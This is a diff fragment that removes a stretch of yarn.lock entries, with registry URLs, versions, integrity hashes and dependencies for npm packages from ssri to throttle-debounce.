-  integrity sha512-cepbSq/neFK7xB6A50KHN0xHDotYzq58wWCa5LeWqnPrHG8GzfEjO/4O8kpmcGW+oaxkvhEJCWgbgNk4/ZV93Q==
-  dependencies:
-    figgy-pudding "^3.5.1"
-
-ssri@^7.0.0:
-  version "7.1.1"
-  resolved "https://registry.yarnpkg.com/ssri/-/ssri-7.1.1.tgz#33e44f896a967158e3c63468e47ec46613b95b5f"
-  integrity sha512-w+daCzXN89PseTL99MkA+fxJEcU3wfaE/ah0i0lnOlpG1CYLJ2ZjzEry68YBKfLs4JfoTShrTEsJkAZuNZ/stw==
-  dependencies:
-    figgy-pudding "^3.5.1"
-    minipass "^3.1.1"
-
-stable@^0.1.8:
-  version "0.1.8"
-  resolved "https://registry.yarnpkg.com/stable/-/stable-0.1.8.tgz#836eb3c8382fe2936feaf544631017ce7d47a3cf"
-  integrity sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==
-
-stack-trace@0.0.10:
-  version "0.0.10"
-  resolved "https://registry.yarnpkg.com/stack-trace/-/stack-trace-0.0.10.tgz#547c70b347e8d32b4e108ea1a2a159e5fdde19c0"
-  integrity sha1-VHxws0fo0ytOEI6hoqFZ5f3eGcA=
-
-stack-utils@^1.0.1:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/stack-utils/-/stack-utils-1.0.5.tgz#a19b0b01947e0029c8e451d5d61a498f5bb1471b"
-  integrity sha512-KZiTzuV3CnSnSvgMRrARVCj+Ht7rMbauGDK0LdVFRGyenwdylpajAp4Q0i6SX8rEmbTpMMf6ryq2gb8pPq2WgQ==
-  dependencies:
-    escape-string-regexp "^2.0.0"
-
-static-extend@^0.1.1:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/static-extend/-/static-extend-0.1.2.tgz#60809c39cbff55337226fd5e0b520f341f1fb5c6"
-  integrity sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=
-  dependencies:
-    define-property "^0.2.5"
-    object-copy "^0.1.0"
-
-"statuses@>= 1.4.0 < 2", "statuses@>= 1.5.0 < 2", statuses@~1.5.0:
-  version "1.5.0"
-  resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c"
-  integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=
-
-stealthy-require@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/stealthy-require/-/stealthy-require-1.1.1.tgz#35b09875b4ff49f26a777e509b3090a3226bf24b"
-  integrity sha1-NbCYdbT/SfJqd35QmzCQoyJr8ks=
-
-stream-browserify@^2.0.1:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/stream-browserify/-/stream-browserify-2.0.2.tgz#87521d38a44aa7ee91ce1cd2a47df0cb49dd660b"
-  integrity sha512-nX6hmklHs/gr2FuxYDltq8fJA1GDlxKQCz8O/IM4atRqBH8OORmBNgfvW5gG10GT/qQ9u0CzIvr2X5Pkt6ntqg==
-  dependencies:
-    inherits "~2.0.1"
-    readable-stream "^2.0.2"
-
-stream-each@^1.1.0:
-  version "1.2.3"
-  resolved "https://registry.yarnpkg.com/stream-each/-/stream-each-1.2.3.tgz#ebe27a0c389b04fbcc233642952e10731afa9bae"
-  integrity sha512-vlMC2f8I2u/bZGqkdfLQW/13Zihpej/7PmSiMQsbYddxuTsJp8vRe2x2FvVExZg7FaOds43ROAuFJwPR4MTZLw==
-  dependencies:
-    end-of-stream "^1.1.0"
-    stream-shift "^1.0.0"
-
-stream-exhaust@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/stream-exhaust/-/stream-exhaust-1.0.2.tgz#acdac8da59ef2bc1e17a2c0ccf6c320d120e555d"
-  integrity sha512-b/qaq/GlBK5xaq1yrK9/zFcyRSTNxmcZwFLGSTG0mXgZl/4Z6GgiyYOXOvY7N3eEvFRAG1bkDRz5EPGSvPYQlw==
-
-stream-http@^2.7.2:
-  version "2.8.3"
-  resolved "https://registry.yarnpkg.com/stream-http/-/stream-http-2.8.3.tgz#b2d242469288a5a27ec4fe8933acf623de6514fc"
-  integrity sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw==
-  dependencies:
-    builtin-status-codes "^3.0.0"
-    inherits "^2.0.1"
-    readable-stream "^2.3.6"
-    to-arraybuffer "^1.0.0"
-    xtend "^4.0.0"
-
-stream-shift@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/stream-shift/-/stream-shift-1.0.1.tgz#d7088281559ab2778424279b0877da3c392d5a3d"
-  integrity sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==
-
-stream-to-it@^0.2.0:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/stream-to-it/-/stream-to-it-0.2.3.tgz#b9320ceb26a51b313de81036d4354d9b657f4d2d"
-  integrity sha512-xaK9EjPtLox5rrC7YLSBXSanTtUJN/lzJlMFvy9VaROmnyvy0U/X6m2uMhXPJRn3g3M9uOSIzTszW7BPiWSg9w==
-  dependencies:
-    get-iterator "^1.0.2"
-
-strict-uri-encode@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz#279b225df1d582b1f54e65addd4352e18faa0713"
-  integrity sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=
-
-strict-uri-encode@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/strict-uri-encode/-/strict-uri-encode-2.0.0.tgz#b9c7330c7042862f6b142dc274bbcc5866ce3546"
-  integrity sha1-ucczDHBChi9rFC3CdLvMWGbONUY=
-
-string-convert@^0.2.0:
-  version "0.2.1"
-  resolved "https://registry.yarnpkg.com/string-convert/-/string-convert-0.2.1.tgz#6982cc3049fbb4cd85f8b24568b9d9bf39eeff97"
-  integrity sha1-aYLMMEn7tM2F+LJFaLnZvznu/5c=
-
-string-length@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/string-length/-/string-length-2.0.0.tgz#d40dbb686a3ace960c1cffca562bf2c45f8363ed"
-  integrity sha1-1A27aGo6zpYMHP/KVivyxF+DY+0=
-  dependencies:
-    astral-regex "^1.0.0"
-    strip-ansi "^4.0.0"
-
-string-length@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/string-length/-/string-length-3.1.0.tgz#107ef8c23456e187a8abd4a61162ff4ac6e25837"
-  integrity sha512-Ttp5YvkGm5v9Ijagtaz1BnN+k9ObpvS0eIBblPMp2YWL8FBmi9qblQ9fexc2k/CXFgrTIteU3jAw3payCnwSTA==
-  dependencies:
-    astral-regex "^1.0.0"
-    strip-ansi "^5.2.0"
-
-string-width@^1.0.1, string-width@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/string-width/-/string-width-1.0.2.tgz#118bdf5b8cdc51a2a7e70d211e07e2b0b9b107d3"
-  integrity sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=
-  dependencies:
-    code-point-at "^1.0.0"
-    is-fullwidth-code-point "^1.0.0"
-    strip-ansi "^3.0.0"
-
-string-width@^2.1.0, string-width@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/string-width/-/string-width-2.1.1.tgz#ab93f27a8dc13d28cac815c462143a6d9012ae9e"
-  integrity sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==
-  dependencies:
-    is-fullwidth-code-point "^2.0.0"
-    strip-ansi "^4.0.0"
-
-string-width@^3.0.0, string-width@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/string-width/-/string-width-3.1.0.tgz#22767be21b62af1081574306f69ac51b62203961"
-  integrity sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==
-  dependencies:
-    emoji-regex "^7.0.1"
-    is-fullwidth-code-point "^2.0.0"
-    strip-ansi "^5.1.0"
-
-string-width@^4.1.0:
-  version "4.2.2"
-  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.2.tgz#dafd4f9559a7585cfba529c6a0a4f73488ebd4c5"
-  integrity sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==
-  dependencies:
-    emoji-regex "^8.0.0"
-    is-fullwidth-code-point "^3.0.0"
-    strip-ansi "^6.0.0"
-
-string.prototype.matchall@^4.0.2, string.prototype.matchall@^4.0.5:
-  version "4.0.5"
-  resolved "https://registry.yarnpkg.com/string.prototype.matchall/-/string.prototype.matchall-4.0.5.tgz#59370644e1db7e4c0c045277690cf7b01203c4da"
-  integrity sha512-Z5ZaXO0svs0M2xd/6By3qpeKpLKd9mO4v4q3oMEQrk8Ck4xOD5d5XeBOOjGrmVZZ/AHB1S0CgG4N5r1G9N3E2Q==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.2"
-    get-intrinsic "^1.1.1"
-    has-symbols "^1.0.2"
-    internal-slot "^1.0.3"
-    regexp.prototype.flags "^1.3.1"
-    side-channel "^1.0.4"
-
-string.prototype.trimend@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz#e75ae90c2942c63504686c18b287b4a0b1a45f80"
-  integrity sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-
-string.prototype.trimstart@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz#b36399af4ab2999b4c9c648bd7a3fb2bb26feeed"
-  integrity sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-
-string_decoder@^1.0.0, string_decoder@^1.1.1:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e"
-  integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==
-  dependencies:
-    safe-buffer "~5.2.0"
-
-string_decoder@~0.10.x:
-  version "0.10.31"
-  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-0.10.31.tgz#62e203bc41766c6c28c9fc84301dab1c5310fa94"
-  integrity sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=
-
-string_decoder@~1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8"
-  integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==
-  dependencies:
-    safe-buffer "~5.1.0"
-
-stringify-object@^3.0.0, stringify-object@^3.3.0:
-  version "3.3.0"
-  resolved "https://registry.yarnpkg.com/stringify-object/-/stringify-object-3.3.0.tgz#703065aefca19300d3ce88af4f5b3956d7556629"
-  integrity sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==
-  dependencies:
-    get-own-enumerable-property-symbols "^3.0.0"
-    is-obj "^1.0.1"
-    is-regexp "^1.0.0"
-
-strip-ansi@6.0.0, strip-ansi@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.0.tgz#0b1571dd7669ccd4f3e06e14ef1eed26225ae532"
-  integrity sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==
-  dependencies:
-    ansi-regex "^5.0.0"
-
-strip-ansi@^3.0.0, strip-ansi@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-3.0.1.tgz#6a385fb8853d952d5ff05d0e8aaf94278dc63dcf"
-  integrity sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=
-  dependencies:
-    ansi-regex "^2.0.0"
-
-strip-ansi@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-4.0.0.tgz#a8479022eb1ac368a871389b635262c505ee368f"
-  integrity sha1-qEeQIusaw2iocTibY1JixQXuNo8=
-  dependencies:
-    ansi-regex "^3.0.0"
-
-strip-ansi@^5.0.0, strip-ansi@^5.1.0, strip-ansi@^5.2.0:
-  version "5.2.0"
-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-5.2.0.tgz#8c9a536feb6afc962bdfa5b104a5091c1ad9c0ae"
-  integrity sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==
-  dependencies:
-    ansi-regex "^4.1.0"
-
-strip-bom@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-2.0.0.tgz#6219a85616520491f35788bdbf1447a99c7e6b0e"
-  integrity sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=
-  dependencies:
-    is-utf8 "^0.2.0"
-
-strip-bom@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-3.0.0.tgz#2334c18e9c759f7bdd56fdef7e9ae3d588e68ed3"
-  integrity sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM=
-
-strip-comments@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/strip-comments/-/strip-comments-1.0.2.tgz#82b9c45e7f05873bee53f37168af930aa368679d"
-  integrity sha512-kL97alc47hoyIQSV165tTt9rG5dn4w1dNnBhOQ3bOU1Nc1hel09jnXANaHJ7vzHLd4Ju8kseDGzlev96pghLFw==
-  dependencies:
-    babel-extract-comments "^1.0.0"
-    babel-plugin-transform-object-rest-spread "^6.26.0"
-
-strip-eof@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/strip-eof/-/strip-eof-1.0.0.tgz#bb43ff5598a6eb05d89b59fcd129c983313606bf"
-  integrity sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=
-
-strip-hex-prefix@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/strip-hex-prefix/-/strip-hex-prefix-1.0.0.tgz#0c5f155fef1151373377de9dbb588da05500e36f"
-  integrity sha1-DF8VX+8RUTczd96du1iNoFUA428=
-  dependencies:
-    is-hex-prefixed "1.0.0"
-
-strip-indent@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/strip-indent/-/strip-indent-3.0.0.tgz#c32e1cee940b6b3432c771bc2c54bcce73cd3001"
-  integrity sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==
-  dependencies:
-    min-indent "^1.0.0"
-
-strip-json-comments@^3.0.1:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006"
-  integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==
-
-sturdy-websocket@^0.1.12:
-  version "0.1.12"
-  resolved "https://registry.yarnpkg.com/sturdy-websocket/-/sturdy-websocket-0.1.12.tgz#84bb779f948b585a695f76961dc7d1c4a5e87629"
-  integrity sha512-PA7h8LdjaMoIlC5HAwLVzae4raGWgyroscV4oUpEiTtEFINcNa47/CKYT3e98o+FfsJgrclI2pYpaJrz0aaoew==
-  dependencies:
-    lodash.defaults "^4.2.0"
-
-style-loader@0.23.1:
-  version "0.23.1"
-  resolved "https://registry.yarnpkg.com/style-loader/-/style-loader-0.23.1.tgz#cb9154606f3e771ab6c4ab637026a1049174d925"
-  integrity sha512-XK+uv9kWwhZMZ1y7mysB+zoihsEj4wneFWAS5qoiLwzW0WzSqMrrsIy+a3zkQJq0ipFtBpX5W3MqyRIBF/WFGg==
-  dependencies:
-    loader-utils "^1.1.0"
-    schema-utils "^1.0.0"
-
-styled-components@^5.1.1:
-  version "5.3.0"
-  resolved "https://registry.yarnpkg.com/styled-components/-/styled-components-5.3.0.tgz#e47c3d3e9ddfff539f118a3dd0fd4f8f4fb25727"
-  integrity sha512-bPJKwZCHjJPf/hwTJl6TbkSZg/3evha+XPEizrZUGb535jLImwDUdjTNxXqjjaASt2M4qO4AVfoHJNe3XB/tpQ==
-  dependencies:
-    "@babel/helper-module-imports" "^7.0.0"
-    "@babel/traverse" "^7.4.5"
-    "@emotion/is-prop-valid" "^0.8.8"
-    "@emotion/stylis" "^0.8.4"
-    "@emotion/unitless" "^0.7.4"
-    babel-plugin-styled-components ">= 1.12.0"
-    css-to-react-native "^3.0.0"
-    hoist-non-react-statics "^3.0.0"
-    shallowequal "^1.1.0"
-    supports-color "^5.5.0"
-
-stylehacks@^4.0.0:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/stylehacks/-/stylehacks-4.0.3.tgz#6718fcaf4d1e07d8a1318690881e8d96726a71d5"
-  integrity sha512-7GlLk9JwlElY4Y6a/rmbH2MhVlTyVmiJd1PfTCqFaIBEGMYNsrO/v3SeGTdhBThLg4Z+NbOk/qFMwCa+J+3p/g==
-  dependencies:
-    browserslist "^4.0.0"
-    postcss "^7.0.0"
-    postcss-selector-parser "^3.0.0"
-
-subscriptions-transport-ws@^0.9.18:
-  version "0.9.19"
-  resolved "https://registry.yarnpkg.com/subscriptions-transport-ws/-/subscriptions-transport-ws-0.9.19.tgz#10ca32f7e291d5ee8eb728b9c02e43c52606cdcf"
-  integrity sha512-dxdemxFFB0ppCLg10FTtRqH/31FNRL1y1BQv8209MK5I4CwALb7iihQg+7p65lFcIl8MHatINWBLOqpgU4Kyyw==
-  dependencies:
-    backo2 "^1.0.2"
-    eventemitter3 "^3.1.0"
-    iterall "^1.2.1"
-    symbol-observable "^1.0.4"
-    ws "^5.2.0 || ^6.0.0 || ^7.0.0"
-
-supports-color@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-2.0.0.tgz#535d045ce6b6363fa40117084629995e9df324c7"
-  integrity sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=
-
-supports-color@^5.3.0, supports-color@^5.5.0:
-  version "5.5.0"
-  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
-  integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==
-  dependencies:
-    has-flag "^3.0.0"
-
-supports-color@^6.1.0:
-  version "6.1.0"
-  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-6.1.0.tgz#0764abc69c63d5ac842dd4867e8d025e880df8f3"
-  integrity sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==
-  dependencies:
-    has-flag "^3.0.0"
-
-supports-color@^7.0.0, supports-color@^7.1.0:
-  version "7.2.0"
-  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
-  integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
-  dependencies:
-    has-flag "^4.0.0"
-
-surge-fstream-ignore@^1.0.6:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/surge-fstream-ignore/-/surge-fstream-ignore-1.0.6.tgz#e30efce95574b91fd571b5b02f32a611ea829731"
-  integrity sha512-hNN52cz2fYCAzhlHmWPn4aE3bFbpBt01AkWFLljrtSzFvxlipLAeLuLtQ3t4f0RKoUkjzXWCAFK13WoET2iM1A==
-  dependencies:
-    fstream ">=1.0.12"
-    inherits "2"
-    minimatch "^3.0.0"
-
-surge-ignore@0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/surge-ignore/-/surge-ignore-0.2.0.tgz#5a7f8a20a71188cf9e75a2cfe8eb182de90daf3b"
-  integrity sha1-Wn+KIKcRiM+edaLP6OsYLekNrzs=
-
-surge@^0.21.5:
-  version "0.21.7"
-  resolved "https://registry.yarnpkg.com/surge/-/surge-0.21.7.tgz#30fa45ac7eea9ae0e14f7acf12b78feae4a34970"
-  integrity sha512-XcMY2Z3I4kBZ1zVTOkeKmTcnAy/r9Mnu87+/3fAaN6ZCVnNy4Qtdh6ai77NwyORIltRP1cOn05sAi+nYoy5taQ==
-  dependencies:
-    cli-table3 "^0.5.1"
-    colors "^1.4.0"
-    inquirer "^6.2.2"
-    is-domain "0.0.1"
-    minimist "1.2.3"
-    moniker "0.1.2"
-    netrc "0.1.4"
-    progress "1.1.8"
-    read "1.0.5"
-    request "^2.88.0"
-    split "0.3.1"
-    surge-fstream-ignore "^1.0.6"
-    surge-ignore "0.2.0"
-    tarr "1.1.0"
-    url-parse-as-address "1.0.0"
-
-sver-compat@^1.5.0:
-  version "1.5.0"
-  resolved "https://registry.yarnpkg.com/sver-compat/-/sver-compat-1.5.0.tgz#3cf87dfeb4d07b4a3f14827bc186b3fd0c645cd8"
-  integrity sha1-PPh9/rTQe0o/FIJ7wYaz/QxkXNg=
-  dependencies:
-    es6-iterator "^2.0.1"
-    es6-symbol "^3.1.1"
-
-svg-parser@^2.0.0:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/svg-parser/-/svg-parser-2.0.4.tgz#fdc2e29e13951736140b76cb122c8ee6630eb6b5"
-  integrity sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==
-
-svgo@^1.0.0, svgo@^1.2.2:
-  version "1.3.2"
-  resolved "https://registry.yarnpkg.com/svgo/-/svgo-1.3.2.tgz#b6dc511c063346c9e415b81e43401145b96d4167"
-  integrity sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==
-  dependencies:
-    chalk "^2.4.1"
-    coa "^2.0.2"
-    css-select "^2.0.0"
-    css-select-base-adapter "^0.1.1"
-    css-tree "1.0.0-alpha.37"
-    csso "^4.0.2"
-    js-yaml "^3.13.1"
-    mkdirp "~0.5.1"
-    object.values "^1.1.0"
-    sax "~1.2.4"
-    stable "^0.1.8"
-    unquote "~1.1.1"
-    util.promisify "~1.0.0"
-
-symbol-observable@^1.0.2, symbol-observable@^1.0.4:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/symbol-observable/-/symbol-observable-1.2.0.tgz#c22688aed4eab3cdc2dfeacbb561660560a00804"
-  integrity sha512-e900nM8RRtGhlV36KGEU9k65K3mPb1WV70OdjfxlG2EAuM1noi/E/BaW/uMhL7bPEssK8QV57vN3esixjUvcXQ==
-
-symbol-observable@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/symbol-observable/-/symbol-observable-4.0.0.tgz#5b425f192279e87f2f9b937ac8540d1984b39205"
-  integrity sha512-b19dMThMV4HVFynSAM1++gBHAbk2Tc/osgLIBZMKsyqh34jb2e8Os7T6ZW/Bt3pJFdBTd2JwAnAAEQV7rSNvcQ==
-
-symbol-tree@^3.2.2:
-  version "3.2.4"
-  resolved "https://registry.yarnpkg.com/symbol-tree/-/symbol-tree-3.2.4.tgz#430637d248ba77e078883951fb9aa0eed7c63fa2"
-  integrity sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==
-
-table@^5.2.3:
-  version "5.4.6"
-  resolved "https://registry.yarnpkg.com/table/-/table-5.4.6.tgz#1292d19500ce3f86053b05f0e8e7e4a3bb21079e"
-  integrity sha512-wmEc8m4fjnob4gt5riFRtTu/6+4rSe12TpAELNSqHMfF3IqnA+CH37USM6/YR3qRZv7e56kAEAtd6nKZaxe0Ug==
-  dependencies:
-    ajv "^6.10.2"
-    lodash "^4.17.14"
-    slice-ansi "^2.1.0"
-    string-width "^3.0.0"
-
-tapable@^1.0.0, tapable@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/tapable/-/tapable-1.1.3.tgz#a1fccc06b58db61fd7a45da2da44f5f3a3e67ba2"
-  integrity sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==
-
-tarr@1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/tarr/-/tarr-1.1.0.tgz#d7a9532ce97f08f5200b78ae0a82a6883173c8c8"
-  integrity sha512-tENbQ43IQckay71stp1p1lljRhoEZpZk10FzEZKW2tJcMcnLwV3CfZdxBAERlH6nwnFvnHMS9eJOJl6IzSsG0g==
-  dependencies:
-    block-stream "*"
-    fstream ">=1.0.12"
-    inherits "2"
-
-terser-webpack-plugin@2.3.8:
-  version "2.3.8"
-  resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-2.3.8.tgz#894764a19b0743f2f704e7c2a848c5283a696724"
-  integrity sha512-/fKw3R+hWyHfYx7Bv6oPqmk4HGQcrWLtV3X6ggvPuwPNHSnzvVV51z6OaaCOus4YLjutYGOz3pEpbhe6Up2s1w==
-  dependencies:
-    cacache "^13.0.1"
-    find-cache-dir "^3.3.1"
-    jest-worker "^25.4.0"
-    p-limit "^2.3.0"
-    schema-utils "^2.6.6"
-    serialize-javascript "^4.0.0"
-    source-map "^0.6.1"
-    terser "^4.6.12"
-    webpack-sources "^1.4.3"
-
-terser-webpack-plugin@^1.4.3:
-  version "1.4.5"
-  resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-1.4.5.tgz#a217aefaea330e734ffacb6120ec1fa312d6040b"
-  integrity sha512-04Rfe496lN8EYruwi6oPQkG0vo8C+HT49X687FZnpPF0qMAIHONI6HEXYPKDOE8e5HjXTyKfqRd/agHtH0kOtw==
-  dependencies:
-    cacache "^12.0.2"
-    find-cache-dir "^2.1.0"
-    is-wsl "^1.1.0"
-    schema-utils "^1.0.0"
-    serialize-javascript "^4.0.0"
-    source-map "^0.6.1"
-    terser "^4.1.2"
-    webpack-sources "^1.4.0"
-    worker-farm "^1.7.0"
-
-terser@^4.1.2, terser@^4.6.12, terser@^4.6.3:
-  version "4.8.0"
-  resolved "https://registry.yarnpkg.com/terser/-/terser-4.8.0.tgz#63056343d7c70bb29f3af665865a46fe03a0df17"
-  integrity sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==
-  dependencies:
-    commander "^2.20.0"
-    source-map "~0.6.1"
-    source-map-support "~0.5.12"
-
-test-exclude@^5.2.3:
-  version "5.2.3"
-  resolved "https://registry.yarnpkg.com/test-exclude/-/test-exclude-5.2.3.tgz#c3d3e1e311eb7ee405e092dac10aefd09091eac0"
-  integrity sha512-M+oxtseCFO3EDtAaGH7iiej3CBkzXqFMbzqYAACdzKui4eZA+pq3tZEwChvOdNfa7xxy8BfbmgJSIr43cC/+2g==
-  dependencies:
-    glob "^7.1.3"
-    minimatch "^3.0.4"
-    read-pkg-up "^4.0.0"
-    require-main-filename "^2.0.0"
-
-text-table@0.2.0, text-table@^0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4"
-  integrity sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=
-
-throat@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/throat/-/throat-4.1.0.tgz#89037cbc92c56ab18926e6ba4cbb200e15672a6a"
-  integrity sha1-iQN8vJLFarGJJua6TLsgDhVnKmo=
-
-throttle-debounce@^2.1.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/throttle-debounce/-/throttle-debounce-2.3.0.tgz#fd31865e66502071e411817e241465b3e9c372e2"
